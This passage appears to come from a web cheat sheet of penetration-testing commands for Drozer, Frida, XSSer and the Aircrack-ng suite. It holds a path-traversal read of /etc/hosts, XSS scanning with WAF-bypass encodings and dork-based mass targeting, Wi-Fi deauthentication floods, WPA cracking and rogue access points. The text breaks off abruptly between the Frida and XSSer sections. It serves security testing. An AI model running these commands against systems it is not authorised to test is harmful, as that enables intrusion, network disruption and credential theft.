Sends a crafted broadcast to a receiver. ## Content providers ### run app.provider.info -a ```bash run app.provider.info -a ``` Example: ```bash run app.provider.info -a com.example.app ``` Exported content providers and their permissions. ### run scanner.provider.finduris -a ```bash run scanner.provider.finduris -a ``` Example: ```bash run scanner.provider.finduris -a com.example.app ``` Guesses accessible content URIs. ### run app.provider.query ```bash run app.provider.query ``` Example: ```bash run app.provider.query content://com.example.app.provider/users ``` Queries a provider — may expose private data. ### run scanner.provider.injection -a ```bash run scanner.provider.injection -a ``` Example: ```bash run scanner.provider.injection -a com.example.app ``` Tests providers for SQL injection. ### run scanner.provider.traversal -a ```bash run scanner.provider.traversal -a ``` Example: ```bash run scanner.provider.traversal -a com.example.app ``` Tests file-backed providers for path traversal. ### run app.provider.read ```bash run app.provider.read ``` Example: ```bash run app.provider.read content://com.example.app.files/../../../../etc/hosts ``` Reads a file through a provider, for example to confirm traversal. ## Related tools - [ADB](https://terminal.rokibulroni.com/tool/mobile/adb) - [Frida](https://terminal.rokibulroni.com/tool/mobile/frida) - [Apktool](https://terminal.rokibulroni.com/tool/mobile/apktool) # Tool: Frida > A dynamic instrumentation toolkit: inject JavaScript into running processes on Android, iOS, Windows, macOS and Linux to trace and modify behaviour. - Category: Mobile - Commands: 18 - Page: https://terminal.rokibulroni.com/tool/mobile/frida - Homepage: https://frida.re - Documentation: https://frida.re/docs/home/ - Tags: instrumentation, hooking, mobile ## Install - pipx: `pipx install frida-tools` ## Setup ### pip install frida-tools ```bash pip install frida-tools ``` Installs the Frida CLI tools. The frida-server on the device must match this version exactly. ### frida --version ```bash frida --version ``` Prints the client version, so you can download the matching frida-server. ### adb push frida-server /data/local/tmp/ && adb shell "chmod 755 /data/local/tmp/frida-server" ```bash adb push frida-server /data/local/tmp/ && adb shell "chmod 755 /data/local/tmp/frida-server" ``` Copies frida-server to a rooted Android device and makes it executable. ### adb shell "su -c /data/local/tmp/frida-server &" ```bash adb shell "su -c /data/local/tmp/frida-server &" ``` Starts frida-server as root in the background. ## Discovery ### frida-ls-devices ```bash frida-ls-devices ``` Lists devices Frida can see. ### frida-ps -U ```bash frida-ps -U ``` Processes on the USB-connected device. ### frida-ps -Uai ```bash frida-ps -Uai ``` Installed apps with their identifiers and PIDs of running ones. ## Attaching and spawning ### frida -U -f ```bash frida -U -f ``` Example: ```bash frida -U -f com.example.app ``` Spawns the app with Frida attached and opens a JavaScript REPL. Spawning catches code that runs at startup. ### frida -U -n ```bash frida -U -n ``` Example: ```bash frida -U -n "Example" ``` Attaches to an already running process by name. ### frida -U -p ```bash frida -U -p ``` Example: ```bash frida -U -p 4321 ``` Attaches by PID. ### frida -U -f -l " ```bash xsser -u "http://example.com" --payload="" ``` Injects a specific manual payload instead of using the built-in dictionary ### xsser -u "http://example.com" --auto-payloads ```bash xsser -u "http://example.com" --auto-payloads ``` Uses all available automatic vector payloads derived from the internal database ### xsser -u "http://example.com" --fuzzer ```bash xsser -u "http://example.com" --fuzzer ``` Injects a fuzzing vector to test input validation boundaries ## DOM Based XSS Analysis ### xsser -u "http://example.com" --dom ```bash xsser -u "http://example.com" --dom ``` Specifically checks for DOM-based XSS vulnerabilities in client-side code ### xsser -u "http://example.com" --check-at="/search.php?q=" --dom ```bash xsser -u "http://example.com" --check-at="/search.php?q=" --dom ``` Verifies DOM XSS injection at a specific path and parameter ## Advanced Injection Vectors ### xsser -u "http://example.com" --imx ```bash xsser -u "http://example.com" --imx ``` Tests for Image Metadata XSS (injecting payloads into image tags) ### xsser -u "http://example.com" --fla ```bash xsser -u "http://example.com" --fla ``` Tests for vulnerabilities related to Flash (SWF) object embedding ### xsser -u "http://example.com" --simple ```bash xsser -u "http://example.com" --simple ``` Uses simple, less aggressive injection vectors to test basic filtering ## HTTP Method Control ### xsser -u "http://example.com" --head ```bash xsser -u "http://example.com" --head ``` Uses the HTTP HEAD method for checking target reachability before scanning ## Validation and Verification ### xsser -u "http://example.com" --check="/search.php?q=" ```bash xsser -u "http://example.com" --check="/search.php?q=" ``` Performs a stability check on a specific URL to see if it returns a 200 OK ### xsser -u "http://example.com" --reverse-check ```bash xsser -u "http://example.com" --reverse-check ``` Establishes a connection from the target back to xsser to verify vulnerability execution ## Filter and WAF Evasion Options ### xsser -u "http://example.com" --Bypass=403 ```bash xsser -u "http://example.com" --Bypass=403 ``` Attempts to bypass WAF protections when a 403 Forbidden error is encountered ## Output Formats and Logging ### xsser -u "http://example.com" --verbose ```bash xsser -u "http://example.com" --verbose ``` Enables verbose output to see detailed request and response data ### xsser -u "http://example.com" --save ```bash xsser -u "http://example.com" --save ``` Saves the scanning results to a file for later analysis ### xsser -u "http://example.com" --xml="report.xml" ```bash xsser -u "http://example.com" --xml="report.xml" ``` Exports the scan results into an XML formatted report ### xsser -u "http://example.com" --statistics ```bash xsser -u "http://example.com" --statistics ``` Displays statistical information about the scan progress and results ## Multi Target Scanning ### xsser -i "targets.txt" ```bash xsser -i "targets.txt" ``` Reads a list of target URLs from a file to perform bulk scanning ### xsser --dork="inurl:search.php?q=" ```bash xsser --dork="inurl:search.php?q=" ``` Uses a search engine dork to find and scan multiple targets matching the pattern ## Reflected XSS Scanning ### xsser -u "http://example.com" --heuristic ```bash xsser -u "http://example.com" --heuristic ``` Uses heuristic analysis to determine if parameters are reflected in the response ## Output Formats and Logging ### xsser -u "http://example.com" --no-head ```bash xsser -u "http://example.com" --no-head ``` Disables the output banner for cleaner logs in automated pipelines ## Encoding and Filter Evasion ### xsser -u "http://example.com" --Xss ```bash xsser -u "http://example.com" --Xss ``` Injects typical XSS vectors to test standard filter responses ## Red Team XSS Operations ### xsser -u "http://example.com" --follow-redirects ```bash xsser -u "http://example.com" --follow-redirects ``` Follows HTTP 3xx redirects to ensure the payload reaches the final destination ## Advanced and Combined Real World Attacks ### xsser -u "http://example.com" --crawl --depth=2 --auto --threads=3 ```bash xsser -u "http://example.com" --crawl --depth=2 --auto --threads=3 ``` Combines crawling, automatic injection, and multi-threading for a full site assessment ### xsser -u "http://example.com" --headers --cookie="auth=1" --proxy="http://127.0.0.1:8080" ```bash xsser -u "http://example.com" --headers --cookie="auth=1" --proxy="http://127.0.0.1:8080" ``` Tests header injection on an authenticated session while routing through a proxy ### xsser -u "http://example.com" --Hex --Hes --Base64 ```bash xsser -u "http://example.com" --Hex --Hes --Base64 ``` Combines multiple encoding techniques to bypass complex WAF rules ## Web Application Reconnaissance ### xsser -u "http://example.com" --alive ```bash xsser -u "http://example.com" --alive ``` Checks if the target URL is alive and reachable before starting any tests ## Advanced Injection Vectors ### xsser -u "http://example.com" --final="" ```bash xsser -u "http://example.com" --final="" ``` Injects the payload specifically into the final parameter found in the URL ### xsser -u "http://example.com" --first="" ```bash xsser -u "http://example.com" --first="" ``` Injects the payload specifically into the first parameter found in the URL ## Blue Team Detection and Validation ### xsser -u "http://example.com" --short=5 ```bash xsser -u "http://example.com" --short=5 ``` Displays only the first 5 characters of the vulnerable response for quick validation ## Red Team XSS Operations ### xsser -u "http://example.com" --launch ```bash xsser -u "http://example.com" --launch ``` Launches a browser instance to manually verify the XSS upon discovery ## Encoding and Filter Evasion ### xsser -u "http://example.com" --Unescape ```bash xsser -u "http://example.com" --Unescape ``` Attempts to inject payloads by unescaping characters to bypass sanitization ## Payload Selection and Custom Payloads ### xsser -u "http://example.com" --phpids ```bash xsser -u "http://example.com" --phpids ``` Uses specific vectors designed to bypass the PHPIDS intrusion detection system ## SSL and HTTPS Configuration ### xsser -u "https://example.com" ```bash xsser -u "https://example.com" ``` Automatically handles SSL/HTTPS connections when the target scheme is https ## Batch Mode and Automation ### xsser -i "urls.txt" --auto --save --xml="scan_results.xml" ```bash xsser -i "urls.txt" --auto --save --xml="scan_results.xml" ``` Runs an automated batch scan on a list of URLs and saves results to XML ## Advanced and Combined Real World Attacks ### xsser -u "http://example.com" --post="data=1" --p="q=" ```bash xsser -u "http://example.com" --post="data=1" --p="q=" ``` Combines raw POST data with a specific POST parameter definition ## Incident Response and Assessment Scenarios ### xsser -u "http://example.com" --dns-timeout=5 ```bash xsser -u "http://example.com" --dns-timeout=5 ``` Sets a specific timeout for DNS resolution to handle network instability ## Filter and WAF Evasion Options ### xsser -u "http://example.com" --Cw="10" ```bash xsser -u "http://example.com" --Cw="10" ``` Sets the crawling width to 10 to limit horizontal scanning of the site structure ### xsser -u "http://example.com" --Cl ```bash xsser -u "http://example.com" --Cl ``` Cleans the target URL parameters before starting the injection process ## Red Team XSS Operations ### xsser -u "http://example.com" --xss-platform="http://my-xss-platform.com" ```bash xsser -u "http://example.com" --xss-platform="http://my-xss-platform.com" ``` Integrates with an external XSS receiver platform to detect blind XSS execution ## Encoding and Filter Evasion ### xsser -u "http://example.com" --Mix ```bash xsser -u "http://example.com" --Mix ``` Mixes multiple encoding types (String, Hex, Octal) in a single payload ### xsser -u "http://example.com" --Dec ```bash xsser -u "http://example.com" --Dec ``` Uses Decimal encoding for characters in the XSS payload ## Web Application Reconnaissance ### xsser -u "http://example.com" --server-info ```bash xsser -u "http://example.com" --server-info ``` Retrieves and displays information about the target web server banner ## Basic XSS Detection ### xsser --gtk ```bash xsser --gtk ``` Launches the graphical user interface (GUI) version of xsser ## Batch Mode and Automation ### xsser -u "http://example.com" --silent ```bash xsser -u "http://example.com" --silent ``` Runs the scan in silent mode, suppressing most output except errors ## Output Formats and Logging ### xsser -u "http://example.com" --update ```bash xsser -u "http://example.com" --update ``` Updates the xsser tool and its internal database to the latest version ## Advanced and Combined Real World Attacks ### xsser -u "http://example.com" --ignore-proxy ```bash xsser -u "http://example.com" --ignore-proxy ``` Ignores system proxy settings and connects directly to the target ## Incident Response and Assessment Scenarios ### xsser -u "http://example.com" --destroy-cookie ```bash xsser -u "http://example.com" --destroy-cookie ``` Tests for the ability to overwrite or destroy existing session cookies ## Related tools - [sqlmap](https://terminal.rokibulroni.com/tool/web/sqlmap) - [Nuclei](https://terminal.rokibulroni.com/tool/web/nuclei) # Tool: Aircrack-ng > The core of the Aircrack-ng suite: cracks WEP keys and WPA/WPA2-PSK handshakes captured from Wi-Fi networks. - Category: Wireless - Commands: 80 - Page: https://terminal.rokibulroni.com/tool/wireless/aircrack-ng - Homepage: https://www.aircrack-ng.org - Documentation: https://www.aircrack-ng.org/doku.php?id=aircrack-ng - Tags: Wi-Fi, WPA, cracking ## Install - apt: `sudo apt install aircrack-ng` - brew: `brew install aircrack-ng` ## Suite Setup & Management ### airmon-ng ```bash airmon-ng ``` Displays the status of wireless interfaces and their current modes. ### airmon-ng check ```bash airmon-ng check ``` Identifies processes that might interfere with the wireless card's operation. ### airmon-ng check kill ```bash airmon-ng check kill ``` Terminates conflicting processes to ensure stability during capture and injection. ### airmon-ng start ```bash airmon-ng start ``` Example: ```bash airmon-ng start wlan0 ``` Enables monitor mode on the specified wireless interface. ### airmon-ng start ```bash airmon-ng start ``` Example: ```bash airmon-ng start wlan0 6 ``` Enables monitor mode strictly on a specific channel to prevent hopping. ### airmon-ng stop ```bash airmon-ng stop ``` Example: ```bash airmon-ng stop wlan0mon ``` Disables monitor mode and returns the interface to managed mode. ## Network Discovery ### airodump-ng ```bash airodump-ng ``` Example: ```bash airodump-ng wlan0mon ``` Starts a basic capture to scan for all nearby access points and clients. ### airodump-ng --encrypt WPA ```bash airodump-ng --encrypt WPA ``` Example: ```bash airodump-ng --encrypt WPA wlan0mon ``` Filters the visual display to show only WPA/WPA2 encrypted networks. ### airodump-ng --encrypt WEP ```bash airodump-ng --encrypt WEP ``` Example: ```bash airodump-ng --encrypt WEP wlan0mon ``` Filters the visual display to show only WEP encrypted networks. ### airodump-ng --netmask ```bash airodump-ng --netmask ``` Example: ```bash airodump-ng --netmask 255.255.255.0 wlan0mon ``` Filters access points based on a specific subnet mask. ## Capture File Handling ### airodump-ng -c --bssid -w ```bash airodump-ng -c --bssid -w ``` Example: ```bash airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon ``` Targets a specific AP on a specific channel and writes the capture to a file. ### airodump-ng --output-format pcap,csv -w ```bash airodump-ng --output-format pcap,csv -w ``` Example: ```bash airodump-ng --output-format pcap,csv -w output wlan0mon ``` Saves the capture data specifically in PCAP and CSV formats only. ## Injection Testing ### aireplay-ng --test ```bash aireplay-ng --test ``` Example: ```bash aireplay-ng --test wlan0mon ``` Tests if the wireless card supports packet injection and assesses link quality. ### aireplay-ng --test -e -a ```bash aireplay-ng --test -e -a ``` Example: ```bash aireplay-ng --test -e MyWiFi -a 00:11:22:33:44:55 wlan0mon ``` Tests injection capabilities against a specific target access point. ## Red Team Attack Simulation ### aireplay-ng --deauth -a -c ```bash aireplay-ng --deauth -a -c ``` Example: ```bash aireplay-ng --deauth 10 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon ``` Sends deauthentication packets to disconnect a specific client to force a handshake. ### aireplay-ng --fakeauth 0 -a -h ```bash aireplay-ng --fakeauth 0 -a -h ``` Example: ```bash aireplay-ng --fakeauth 0 -a 00:11:22:33:44:55 -h 11:22:33:44:55:66 wlan0mon ``` Performs a fake authentication attack to associate with an AP for further injection. ### aireplay-ng --arpreplay -b -h ```bash aireplay-ng --arpreplay -b -h ``` Example: ```bash aireplay-ng --arpreplay -b 00:11:22:33:44:55 -h 11:22:33:44:55:66 wlan0mon ``` Listens for ARP packets and replays them to generate new IVs for WEP cracking. ### aireplay-ng --chopchop -b -h ```bash aireplay-ng --chopchop -b -h ``` Example: ```bash aireplay-ng --chopchop -b 00:11:22:33:44:55 -h 11:22:33:44:55:66 wlan0mon ``` Executes the KoreK chopchop attack to decrypt a WEP packet without the key. ### aireplay-ng --fragment -b -h ```bash aireplay-ng --fragment -b -h ``` Example: ```bash aireplay-ng --fragment -b 00:11:22:33:44:55 -h 11:22:33:44:55:66 wlan0mon ``` Attempts the fragmentation attack to obtain a keystream specifically for WEP. ## Basic Aircrack-ng Syntax ### aircrack-ng --help ```bash aircrack-ng --help ``` Displays the manual page with all available flags and options. ### aircrack-ng -u ```bash aircrack-ng -u ``` Displays CPU information and supported hardware instructions like SSE2. ### aircrack-ng ```bash aircrack-ng ``` Example: ```bash aircrack-ng capture-01.cap ``` Loads a capture file and attempts to auto-detect the encryption type and target. ## WEP Attack Workflows ### aircrack-ng -a 1 ```bash aircrack-ng -a 1 ``` Example: ```bash aircrack-ng -a 1 capture-01.cap ``` Forces the tool to operate in WEP cracking mode regardless of auto-detection. ### aircrack-ng -n 64 ```bash aircrack-ng -n 64 ``` Example: ```bash aircrack-ng -n 64 capture-01.cap ``` Restricts the cracking attempt to 64-bit WEP keys only. ### aircrack-ng -n 128 ```bash aircrack-ng -n 128 ``` Example: ```bash aircrack-ng -n 128 capture-01.cap ``` Restricts the cracking attempt to 128-bit WEP keys only. ### aircrack-ng -b ```bash aircrack-ng -b ``` Example: ```bash aircrack-ng -b 00:11:22:33:44:55 capture-01.cap ``` Filters the capture file to crack only the network matching the specified BSSID. ### aircrack-ng -f ```bash aircrack-ng -f ``` Example: ```bash aircrack-ng -f 4 capture-01.cap ``` Adjusts the brute-force fudge factor to try lower probability keys. ### aircrack-ng -k ```bash aircrack-ng -k ``` Example: ```bash aircrack-ng -k 1 capture-01.cap ``` Disables one of the 17 KoreK attacks to troubleshoot false positives. ### aircrack-ng -x ```bash aircrack-ng -x ``` Example: ```bash aircrack-ng -x capture-01.cap ``` Disables the last two keybytes bruteforce to speed up the process. ### aircrack-ng -y ```bash aircrack-ng -y ``` Example: ```bash aircrack-ng -y capture-01.cap ``` Enables the experimental single-threaded brute-force mode for WEP. ### aircrack-ng -K ```bash aircrack-ng -K ``` Example: ```bash aircrack-ng -K capture-01.cap ``` Invokes the KoreK attack mode specifically (usually default for WEP). ### aircrack-ng -z ```bash aircrack-ng -z ``` Example: ```bash aircrack-ng -z capture-01.cap ``` Invokes the PTW (Pyshkin-Tews-Weinmann) attack method which requires fewer IVs. ## WPA Cracking Basics ### aircrack-ng -a 2 -w ```bash aircrack-ng -a 2 -w ``` Example: ```bash aircrack-ng -a 2 -w rockyou.txt capture-01.cap ``` Initiates a WPA/WPA2 dictionary attack using a provided wordlist. ### aircrack-ng -e -w ```bash aircrack-ng -e -w ``` Example: ```bash aircrack-ng -e MyWiFi -w rockyou.txt capture-01.cap ``` Filters the capture file to target a specific network name (ESSID). ### aircrack-ng -b -w ```bash aircrack-ng -b -w ``` Example: ```bash aircrack-ng -b 00:11:22:33:44:55 -w rockyou.txt capture-01.cap ``` Filters the capture file to target a specific MAC address (BSSID). ## Performance Tuning ### aircrack-ng -S ```bash aircrack-ng -S ``` Example: ```bash aircrack-ng -S capture-01.cap ``` Shows the cracking speed in keys per second without actually cracking. ### aircrack-ng -p -w ```bash aircrack-ng -p -w ``` Example: ```bash aircrack-ng -p 4 -w rockyou.txt capture-01.cap ``` Explicitly sets the number of CPU threads/cores to use for the attack. ## Advanced Cracking ### aircrack-ng -E -w ```bash aircrack-ng -E -w ``` Example: ```bash aircrack-ng -E project_elcomsoft.ewsa -w rockyou.txt capture-01.cap ``` Creates an Elcomsoft Wireless Security Auditor (EWSA) project file. ### aircrack-ng -J ```bash aircrack-ng -J ``` Example: ```bash aircrack-ng -J clean_capture capture-01.cap ``` Extracts the handshake and saves it to a new, smaller .hccap file. ### aircrack-ng -j ```bash aircrack-ng -j ``` Example: ```bash aircrack-ng -j clean_capture capture-01.cap ``` Extracts the handshake and saves it to a new .hccapx file for Hashcat. ## Output and Logging ### aircrack-ng -l -w ```bash aircrack-ng -l -w ``` Example: ```bash aircrack-ng -l cracked_key.txt -w rockyou.txt capture-01.cap ``` Writes the successfully cracked key to a specified text file. ### aircrack-ng -q -w ```bash aircrack-ng -q -w ``` Example: ```bash aircrack-ng -q -w rockyou.txt capture-01.cap ``` Runs in quiet mode, suppressing status output until a key is found. ## Database Workflows ### airolib-ng --import cowpatty ```bash airolib-ng --import cowpatty ``` Example: ```bash airolib-ng hashes.db --import cowpatty rainbow_table ``` Imports a Cowpatty rainbow table into an Aircrack-ng database file. ### airolib-ng --import passwd ```bash airolib-ng --import passwd ``` Example: ```bash airolib-ng hashes.db --import passwd rockyou.txt ``` Imports a text wordlist into an Aircrack-ng database file for pre-computation. ### airolib-ng --import essid ```bash airolib-ng --import essid ``` Example: ```bash airolib-ng hashes.db --import essid essid_list.txt ``` Imports a list of ESSIDs into the database for PMK calculation. ### airolib-ng --batch ```bash airolib-ng --batch ``` Example: ```bash airolib-ng hashes.db --batch ``` Calculates the PMKs (Pairwise Master Keys) for the loaded ESSIDs and passwords. ### aircrack-ng -r ```bash aircrack-ng -r ``` Example: ```bash aircrack-ng -r hashes.db capture-01.cap ``` Uses a pre-computed airolib-ng database for faster WPA cracking. ## Blue Team Defensive Validation ### aircrack-ng --simd-list ```bash aircrack-ng --simd-list ``` Lists the available SIMD architectures to verify optimization support on the host. ### airdecap-ng -l ```bash airdecap-ng -l ``` Lists the supported encryption types for decryption validation. ### airdecap-ng -b ```bash airdecap-ng -b ``` Example: ```bash airdecap-ng -b 00:11:22:33:44:55 capture-01.cap ``` Attempts to decrypt the capture file using only the BSSID (validates unencrypted data). ### airdecap-ng -e -p ```bash airdecap-ng -e -p ``` Example: ```bash airdecap-ng -e MyWiFi -p SuperSecret capture-01.cap ``` Decrypts a WPA capture file using the known valid password to verify traffic visibility. ### airdecap-ng -w ```bash airdecap-ng -w ``` Example: ```bash airdecap-ng -w 1A2B3C4D5E capture-01.cap ``` Decrypts a WEP capture file using the known hexadecimal key. ## Purple Team Detection Testing ### aircrack-ng -C -w ```bash aircrack-ng -C -w ``` Example: ```bash aircrack-ng -C 00:11:22:33:44:55 -w rockyou.txt capture-01.cap ``` Merges two or more APs into a virtual one (useful for testing roaming handshakes). ### aireplay-ng --deauth 1 -a ```bash aireplay-ng --deauth 1 -a ``` Example: ```bash aireplay-ng --deauth 1 -a 00:11:22:33:44:55 wlan0mon ``` Sends a single deauth frame to test if the IDS/IPS logs the specific anomaly. ### aireplay-ng --fakeauth 6000 -o 1 -q 10 ```bash aireplay-ng --fakeauth 6000 -o 1 -q 10 ``` Example: ```bash aireplay-ng --fakeauth 6000 -o 1 -q 10 wlan0mon ``` Sends keep-alive packets to test how the infrastructure handles prolonged fake sessions. ## Forensic Analysis ### ivstools --convert ```bash ivstools --convert ``` Example: ```bash ivstools --convert capture-01.cap capture.ivs ``` Converts a standard capture file to the IVS format to reduce file size. ### ivstools --merge ```bash ivstools --merge ``` Example: ```bash ivstools --merge capture1.ivs capture2.ivs full_capture.ivs ``` Merges multiple IVS files into a single file for a consolidated cracking attempt. ## Advanced Workflow Integration ### airbase-ng -e -c ```bash airbase-ng -e -c ``` Example: ```bash airbase-ng -e 'Free WiFi' -c 6 wlan0mon ``` Creates a soft access point to lure clients for a rogue AP attack workflow. ### airbase-ng -P -C 30 ```bash airbase-ng -P -C 30 ``` Example: ```bash airbase-ng -P -C 30 wlan0mon ``` Configures the soft AP to respond to all probe requests (Karma attack behavior). ### wpaclean ```bash wpaclean ``` Example: ```bash wpaclean clean.cap dirty.cap ``` Cleans the capture file by removing beacons and management frames, keeping only the 4-way handshake. ## Automation & Pipelines ### aircrack-ng -w - ```bash aircrack-ng -w - ``` Example: ```bash john --stdout --wordlist=passwords.txt | aircrack-ng -w - capture-01.cap ``` Reads passwords from standard input (stdin), allowing piping from other tools like John the Ripper. ### airodump-ng --beacons --gpsd -w ```bash airodump-ng --beacons --gpsd -w ``` Example: ```bash airodump-ng --beacons --gpsd -w map_data wlan0mon ``` Records GPS coordinates for every packet (requires GPSD) for wardriving maps. ### aircrack-ng -s ```bash aircrack-ng -s ``` Example: ```bash aircrack-ng -s capture-01.cap ``` Shows the ASCII version of the key alongside the hex version. ## Incident Response Simulation ### airtun-ng -a -t 1 ```bash airtun-ng -a -t 1 ``` Example: ```bash airtun-ng -a 00:11:22:33:44:55 -t 1 wlan0mon ``` Creates a virtual tunnel interface to monitor encrypted traffic in real-time (requires key). ### packetforge-ng -0 -a -h -k -l -w ```bash packetforge-ng -0 -a -h -k -l -w ``` Example: ```bash packetforge-ng -0 -a 00:11:22:33:44:55 -h 11:22:33:44:55:66 -k 192.168.1.1 -l 192.168.1.100 -w arp_req ``` Forges an ARP request packet for injection validation during an incident investigation. ## Cracking Optimization ### aircrack-ng -D ```bash aircrack-ng -D ``` Example: ```bash aircrack-ng -D capture-01.cap ``` Disables the complex WEP masking (experimental optimization). ### aircrack-ng -M ```bash aircrack-ng -M ``` Example: ```bash aircrack-ng -M 2 capture-01.cap ``` Specifies the maximum number of IVs to use for the attack. ### aircrack-ng -t ```bash aircrack-ng -t ``` Example: ```bash aircrack-ng -t 00:11:22:33:44:55 capture-01.cap ``` Filters traffic by the destination MAC address for specific client targeting. ### aircrack-ng -m ```bash aircrack-ng -m ``` Example: ```bash aircrack-ng -m 00:11:22:33:44:55 capture-01.cap ``` Matches packets specifically by the BSSID mac address filter. ## Legacy WEP Specifics ### aircrack-ng -1 ```bash aircrack-ng -1 ``` Example: ```bash aircrack-ng -1 capture-01.cap ``` Runs the attack once and exits if the key is not found immediately. ### aircrack-ng -6 ```bash aircrack-ng -6 ``` Example: ```bash aircrack-ng -6 capture-01.cap ``` Enables the semi-passive attack mode (rarely used). ## Clean Up ### airmon-ng stop mon ```bash airmon-ng stop mon ``` Example: ```bash airmon-ng stop wlan0mon ``` Properly destroys the monitor mode interface created earlier. ### rm -*.cap -*.csv ```bash rm -*.cap -*.csv ``` Example: ```bash rm capture-01.cap capture-01.csv ``` Removes the raw capture files and logs to sanitize the workspace. ## Advanced Combined Workflow ### airodump-ng -c 1 --bssid -w capture wlan0mon & aireplay-ng --deauth 5 -a wlan0mon ```bash airodump-ng -c 1 --bssid -w capture wlan0mon & aireplay-ng --deauth 5 -a wlan0mon ``` Example: ```bash airodump-ng -c 1 --bssid 00:11:22:33:44:55 -w capture wlan0mon & aireplay-ng --deauth 5 -a 00:11:22:33:44:55 wlan0mon ``` Simultaneously starts a capture and sends deauth packets in a single command line. ### aircrack-ng -w wordlist.txt -l key.txt *.cap ```bash aircrack-ng -w wordlist.txt -l key.txt *.cap ``` Attempts to crack using all capture files in the current directory and logs the key. ### aircrack-ng -K -b *.ivs ```bash aircrack-ng -K -b *.ivs ``` Example: ```bash aircrack-ng -K -b 00:11:22:33:44:55 *.ivs ``` Uses the KoreK method on all IVS files in the directory for a WEP attack. ### airbase-ng -a --essid -W 1 wlan0mon ```bash airbase-ng -a --essid -W 1 wlan0mon ``` Example: ```bash airbase-ng -a 00:11:22:33:44:55 --essid 'Office WiFi' -W 1 wlan0mon ``` Sets up a Rogue AP with WEP encryption enabled (-W 1) for a specific target. ### airbase-ng -a --essid -Z 2 wlan0mon ```bash airbase-ng -a --essid -Z 2 wlan0mon ``` Example: ```bash airbase-ng -a 00:11:22:33:44:55 --essid 'Office WiFi' -Z 2 wlan0mon ``` Sets up a Rogue AP with WPA2 encryption enabled (-Z 2). ## System Maintenance ### aircrack-ng --check ```bash aircrack-ng --check ``` Checks if the aircrack-ng binary is patched or original (useful for distribution verification). ## Help and Documentation ### man aircrack-ng ```bash man aircrack-ng ``` Opens the full system manual for the most detailed documentation available. ## Related tools - [airodump-ng](https://terminal.rokibulroni.com/tool/wireless/airodump-ng) - [aireplay-ng](https://terminal.rokibulroni.com/tool/wireless/aireplay-ng) - [airmon-ng](https://terminal.rokibulroni.com/tool/wireless/airmon-ng) - [Hashcat](https://terminal.rokibulroni.com/tool/credentials/hashcat) # Tool: aireplay-ng > Injects 802.11 frames: deauthentication, fake authentication and ARP replay to generate traffic or capture handshakes. - Category: Wireless - Commands: 55 - Page: https://terminal.rokibulroni.com/tool/wireless/aireplay-ng - Homepage: https://www.aircrack-ng.org - Documentation: https://www.aircrack-ng.org/doku.php?id=aireplay-ng - Tags: Wi-Fi, packet injection, deauth ## Install - apt: `sudo apt install aircrack-ng` ## Basic Syntax ### aireplay-ng --help ```bash aireplay-ng --help ``` Displays the full help menu listing all available attack modes and command line options ## Injection Capability Test ### aireplay-ng -9 wlan0mon ```bash aireplay-ng -9 wlan0mon ``` Performs a basic broadcast injection test to verify the card supports packet injection on the current channel ### aireplay-ng -9 -e test_lab_network -a 00:11:22:33:44:55 wlan0mon ```bash aireplay-ng -9 -e test_lab_network -a 00:11:22:33:44:55 wlan0mon ``` Tests injection capabilities specifically against a designated Access Point and ESSID to verify reachability ### aireplay-ng -9 -i wlan1 -r wlan0mon ```bash aireplay-ng -9 -i wlan1 -r wlan0mon ``` Performs a card-to-card injection test using one interface to attack and another to monitor responses ## Deauthentication ### aireplay-ng -0 1 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon ```bash aireplay-ng -0 1 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon ``` Sends a single directed deauthentication packet to kick a specific client from an Access Point ### aireplay-ng -0 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon ```bash aireplay-ng -0 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon ``` Sends a burst of 5 targeted deauthentication packets to ensure client disconnection for handshake capture ### aireplay-ng -0 0 -a 00:11:22:33:44:55 wlan0mon ```bash aireplay-ng -0 0 -a 00:11:22:33:44:55 wlan0mon ``` Initiates an infinite broadcast deauthentication loop against an Access Point to disconnect all associated clients ### aireplay-ng -0 10 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF -D wlan0mon ```bash aireplay-ng -0 10 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF -D wlan0mon ``` Sends deauthentication packets with the AP detection disabled to force packet transmission regardless of beacon presence ### aireplay-ng -0 0 -a 00:11:22:33:44:55 --ignore-negative-one wlan0mon ```bash aireplay-ng -0 0 -a 00:11:22:33:44:55 --ignore-negative-one wlan0mon ``` Runs a continuous deauthentication attack while suppressing channel mismatch error messages ## Fake Authentication ### aireplay-ng -1 0 -e test_lab_network -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon ```bash aireplay-ng -1 0 -e test_lab_network -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon ``` Performs a standard fake authentication attack to associate a specific MAC address with an Open Access Point ### aireplay-ng -1 0 -e test_lab_network -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -o 1 -q 10 wlan0mon ```bash aireplay-ng -1 0 -e test_lab_network -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -o 1 -q 10 wlan0mon ``` Executes fake authentication with defined keep-alive packets and specific reassociation timing intervals ### aireplay-ng -1 6000 -e test_lab_network -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon ```bash aireplay-ng -1 6000 -e test_lab_network -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon ``` Performs fake authentication with a long re-authentication delay of 6000 seconds to maintain association quietly ### aireplay-ng -1 0 -e test_lab_network -a 00:11:22:33:44:55 -y shared_key_stream.xor wlan0mon ```bash aireplay-ng -1 0 -e test_lab_network -a 00:11:22:33:44:55 -y shared_key_stream.xor wlan0mon ``` Attempts fake authentication against a WEP Shared Key network using a captured keystream file ## Interactive Packet Replay ### aireplay-ng -2 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon ```bash aireplay-ng -2 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon ``` Starts interactive mode to select and replay specific packets flowing between an AP and a client ### aireplay-ng -2 -b 00:11:22:33:44:55 -d FF:FF:FF:FF:FF:FF -m 68 -n 86 wlan0mon ```bash aireplay-ng -2 -b 00:11:22:33:44:55 -d FF:FF:FF:FF:FF:FF -m 68 -n 86 wlan0mon ``` 